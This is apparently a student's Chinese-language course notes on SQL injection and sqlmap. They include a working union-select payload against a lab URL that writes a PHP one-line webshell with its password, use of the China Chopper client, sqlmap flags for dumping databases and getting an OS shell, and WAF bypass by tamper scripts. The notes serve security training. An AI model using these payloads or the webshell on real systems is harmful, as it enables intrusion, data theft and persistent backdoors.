第十周笔记—SQLmap和sql注入上传木马
目录
- 第十周笔记—SQLmap和sql注入上传木马
- SQL注入
- 上传木马
- SQLmap
- 六大模块
- 命令
- 参数
- 三种请求方式
- 取得系统shell
- sqlmap高级注入
- SQL注入
SQL注入
上传木马
前提:
- 要知道网站的绝对路径
- 具有写入权限
select 'hello world' into outfile 'c:/abcdef.txt' --路径的斜杠用 /或者\\ --把hello world写入文件中 实战攻击语句: select * from boy where hid='' union select 11,'hello world'into outfile 'C:/111.txt'; select user() --查询当前用户名 http://192.168.99.171/test2/sqli/example10.php?catid='3 ' union select '<?php @eval($_POST[996])?>',2,3,4 into outfile 'C:/xampp/htdocs/test2/zxh2.php' --+' --后两行为sql注入语句,写入一句话木马
用菜刀连接,网址为木马的路径(不是绝对路径)
一句话木马:<?php @eval($_POST[996])?> --密码为996
用order by(排序)语句试出有多少列
PHP学习网站:
phpstudy
SQLmap
六大模块
- 输入
- 输出
- 发送数据
- 接受数据
- 注入点检测
- 真正攻击模块
命令
参数
-r //读取文件
-u //读取网址
-v 3 //查看sql注入的命令 -flush //清除缓存 --is-dba //是否为dba --os-shell //获取系统shell --dbs //查看所有数据库,命令用完即删 --threads //线程数 --current-db //查看当前网站用的库,命令用完即删 -D "[库名]" //使用指定库 -T "[表名]" //使用指定表 --count //查找有几列,命令用完即删 --colums //查找列名,显示列名和他的类型 -C "[列名]" //使用指定列名,可以用逗号隔开 --dump //把指定列名dump下来,慎用,金融网站犯法 --start 1 //从第一条dump到第二条(不是从0开始取) --stop 2
三种请求方式
参见图片
取得系统shell
自动上传木马
用x或者q退出,否则会留下木马
原理:传上去一个具有远程命令执行漏洞的页面
条件:
- 绝对路径
- dba超级管理员
命令参数:
--os-shell
--web-root="[绝对路径]" //需要上传木马的目录
sqlmap高级注入
--identify-waf //自动测试waf防火墙
--tamper [tamper脚本名称] //手工指定混码脚本绕过,混码:空白符用%20或者%09代替, //脚本在sqlmap/tamper文件下,多个脚本用逗号隔开